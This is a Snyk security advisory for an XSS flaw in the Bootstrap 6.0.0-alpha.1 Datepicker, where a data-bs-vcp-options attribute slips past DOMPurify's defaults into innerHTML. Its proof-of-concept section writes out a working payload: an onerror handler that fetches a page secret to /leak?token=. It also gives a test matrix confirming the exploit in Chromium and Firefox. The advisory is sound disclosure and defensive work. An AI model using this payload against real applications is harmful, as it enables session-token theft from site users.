Cross-site Scripting (XSS) Affecting bootstrap package, versions >=6.0.0-alpha.1 <6.0.0-alpha.2


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.61% (51st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-site Scripting (XSS) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-BOOTSTRAP-23314624
  • published2 Dec 2026
  • disclosed2 Dec 2026
  • creditjackfromeast

Introduced: 2 Dec 2026

NewCVE-2026-141416  (opens in a new tab)
CWE-79  (opens in a new tab)
CWE-83  (opens in a new tab)

How to fix?

Upgrade bootstrap to version 6.0.0-alpha.2 or higher.

Overview

bootstrap is a popular front-end framework for faster and easier web development.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the Datepicker plugin's _getConfig method, which JSON-decodes the data-bs-vcp-options element attribute and spreads the decoded object directly into Vanilla Calendar Pro's constructor options without sanitization. Vanilla Calendar Pro renders its layouts option as HTML using innerHTML under an identity default sanitizer (sanitizerHTML: (html) => html), so an attacker who can place HTML into an application that sanitizes with DOMPurify's default configuration can supply an input element carrying data-bs-toggle="datepicker" and a layouts payload in data-bs-vcp-options. Because DOMPurify preserves data-* attributes by default, the stored element appears inert, but when a victim focuses the field the Datepicker initializes the calendar and the attacker's layout string is assigned to innerHTML, executing arbitrary JavaScript on the application's origin.

Note: This is only exploitable when the application renders untrusted HTML sanitized with DOMPurify in its default configuration (which preserves data-* attributes) and inserts the result into the DOM, and the page loads the Bootstrap 6 Datepicker bundle with no Content Security Policy blocking inline event handlers.

PoC

The reporter set up a minimal page that follows the documented user-generated-content pattern, where an application sanitizes untrusted HTML with DOMPurify's defaults, inserts it with innerHTML, and loads the Bootstrap 6 Datepicker, and act as a remote attacker who submits HTML and gets a victim to focus the field. PoC files are in this gist.

  • Deployment: run run.sh, which npm installs bootstrap@6.0.0-alpha.1, dompurify@3.4.17 and playwright@1.64.1, serves the pages on http://127.0.0.1:18767 with no CSP, and drives real headless Chromium and Firefox. index-alpha1.html loads the npm prerelease bundle; index-main.html loads bootstrap-main-3b7f323.bundle.min.js, the production bundle built from main@3b7f323; index-alpha1-config.html delivers the same payload through the generic data-bs-config attribute.
  • Attacker: the submitted HTML is the single element <input id="malicious-calendar" type="text" data-bs-toggle="datepicker" data-bs-vcp-options='{"layouts":{"default":"<img id=pwn src=x data-u=/leak?token= onerror=window.pwned=true,fetch(this.dataset.u+window.__private)>"}}'>. The page sanitizes it with DOMPurify.sanitize(dirty) and inserts the result; the attacker position is a remote user of the content feature, with no account or privilege.
  • Exploit: open the page and focus the input. DOMPurify's output keeps only the inert data-bs-* attributes (no onerror); after focus the calendar DOM contains <img id="pwn" src="x" data-u="/leak?token=" onerror="window.pwned=true,fetch(this.dataset.u+window.__private)">, window.pwned is true, and a same-origin request GET /leak?token=<token> is issued. Running test.cjs over the matrix prints:
PASS alpha1/vcp-options/chromium: pwned=true injected=true exfil=.../leak?token=%3Ctoken%3E
PASS alpha1/vcp-options/firefox:  pwned=true injected=true exfil=.../leak?token=%3Ctoken%3E
PASS alpha1/config/chromium:      pwned=true injected=true exfil=.../leak?token=%3Ctoken%3E
PASS alpha1/config/firefox:       pwned=true injected=true exfil=.../leak?token=%3Ctoken%3E
PASS main/vcp-options/chromium:   pwned=true injected=true exfil=.../leak?token=%3Ctoken%3E
PASS main/vcp-options/firefox:    pwned=true injected=true exfil=.../leak?token=%3Ctoken%3E
PASS main/config/chromium:        pwned=true injected=true exfil=.../leak?token=%3Ctoken%3E
PASS main/config/firefox:         pwned=true injected=true exfil=.../leak?token=%3Ctoken%3E
PASS patched/vcp-options/chromium: pwned=false injected=false exfil=none
PASS patched/config/chromium:      pwned=false injected=false exfil=none
PASS patched/benign/chromium:      benign calendar renders=true pwned=false

The payload is attacker-chosen: data-bs-vcp-options is copied verbatim into the calendar HTML, so the executed JavaScript is whatever the attacker wrote, not a fixed side effect.

PoC run on the published prerelease bootstrap@6.0.0-alpha.1 (npm), headless Chromium 156: the sanitized input executed the payload on focus and the result panel reads window.pwned: true with the exfiltration request recorded.

Bootstrap 6.0.0-alpha.1 with DOMPurify 3.4.17 defaults: the sanitized input carries no onerror, yet after focus the calendar DOM holds the injected onerror image, window.pwned is true, and GET /leak?token=<token> is issued.

The same result on a production bundle built from current main@3b7f323, confirming the default development branch is affected:

Bootstrap main 3b7f323 with DOMPurify 3.4.17 defaults: the sanitized input executes the payload on focus, window.pwned is true.

The same page against a bundle built from main@3b7f323 with our patch applied: no handler is injected, window.pwned stays false, and the calendar still renders normally.

Patched main 3b7f323: the exploit is blocked (window.pwned false, no injected image) while the real Vanilla Calendar Pro layout still renders.

Note: PoC runs against bootstrap@6.0.0-alpha.1 (npm) and dompurify@3.4.17 with playwright@1.64.1 driving headless Chromium 156 and Firefox, served on http://127.0.0.1:18767 with no CSP.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:
  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:
  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

CVSS Base Scores

version 4.0
version 3.1